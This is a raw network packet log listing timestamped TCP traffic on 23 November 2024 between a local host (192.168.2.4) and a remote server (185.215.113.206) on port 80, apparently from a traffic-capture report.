Nov 23, 2024 17:44:37.547616005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.547636032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.547668934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.548398018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.548448086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.548522949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.548537970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.548576117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.548607111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.548646927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.549381018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.549406052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.549420118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.549441099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.549473047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.549545050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.549588919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.550344944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.550365925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.550379992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.550394058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.550395966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.550415993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.550455093 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.611772060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611793041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611808062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611857891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.611860991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611907005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.611917019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611932993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.611969948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.611995935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.611999035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.612039089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.612879038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.612930059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662313938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662334919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662352085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662384033 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662415028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662522078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662563086 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662569046 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662580013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662600040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662621975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.662668943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.662714005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.663495064 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.663518906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.663535118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.663542032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.663578987 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.663606882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.663650036 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.664386034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.664443970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.664448977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.664467096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.664506912 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.664535046 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.664547920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.664573908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.665308952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.665359974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.665375948 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.665393114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.665420055 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.665450096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.665462971 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.665492058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.666208029 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.666259050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.666273117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.666285038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.666311026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.666349888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.666390896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.667249918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.667284966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.667296886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.667301893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.667323112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.667347908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.667392969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.667434931 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.668087959 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.668129921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.668135881 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.668145895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.668169975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.668191910 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.668294907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.668337107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.668972015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669004917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669019938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669019938 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669047117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669070959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669080973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669122934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669856071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669895887 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669899940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669913054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.669943094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669976950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.669986963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.670028925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.670957088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.670972109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.670985937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671000957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.671019077 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.671035051 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671077013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.671854973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671869040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671881914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671895981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.671905994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.671928883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.671962023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.672744989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.672784090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.672796965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.672797918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.672821045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.672841072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.672873974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.673593998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.673609018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.673621893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.673641920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.673692942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742376089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742407084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742420912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742444992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742448092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742630959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742630959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742746115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742791891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742795944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742810011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742824078 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.742840052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742851973 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.742880106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.743488073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.743503094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.743525982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.743540049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.743541002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.743561029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.743578911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.744376898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.744410992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.744425058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.744432926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.744471073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.744916916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.744971991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.744982958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.744997025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.745009899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.745023966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.745038986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.745064020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.745934963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.745970011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.745984077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.745985985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746006012 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746027946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746068954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.746110916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746766090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.746803999 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.746809959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746819973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.746844053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746862888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.746937037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.746980906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.747721910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.747735023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.747749090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.747770071 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.747807026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.747840881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.747884035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.748610973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.748661041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.748676062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.748691082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.748713970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.748718023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.748737097 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.748765945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.749540091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.749562979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.749583960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.749588966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.749609947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.749630928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.749679089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.749723911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.750478983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.750511885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.750526905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.750526905 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.750546932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.750570059 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.750622034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.750663996 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.751363993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.751411915 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.751415014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.751430035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.751461983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.751480103 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.751528978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.751574039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.752362967 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.752388000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.752409935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.752434015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.813318014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813388109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.813468933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813486099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813500881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813518047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.813529968 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.813761950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813786030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813801050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.813808918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.813838959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.864833117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.864854097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.864869118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.864890099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.864916086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.864953041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865098953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865130901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865142107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865147114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865166903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865175009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865187883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865215063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865902901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865950108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865952015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865964890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.865989923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.865998983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.866051912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.866092920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.866878033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.866924047 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867011070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867026091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867048025 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867055893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867070913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867091894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867731094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867777109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867785931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867800951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867825031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867844105 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.867883921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.867925882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.868648052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.868699074 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.868705988 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.868721008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.868748903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.868761063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.868804932 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.868845940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.869585037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.869632959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.869668007 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.869683027 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.869728088 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.869728088 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.869730949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.869770050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.870534897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.870592117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.870614052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.870630026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.870651960 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.870678902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.870687962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.870727062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.871409893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.871448040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.871459007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.871463060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.871484041 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.871505976 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.871550083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.871591091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.872313023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.872359991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.872364044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.872379065 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.872402906 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.872414112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.872489929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.872529030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.873235941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.873275042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.873281002 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.873290062 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.873312950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.873325109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.873387098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.873426914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.874221087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.874264956 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.874277115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.874290943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.874315023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.874327898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.874368906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:37.874411106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:37.875061989 CET	80	49745	185.215.113.206	192.168.2.4
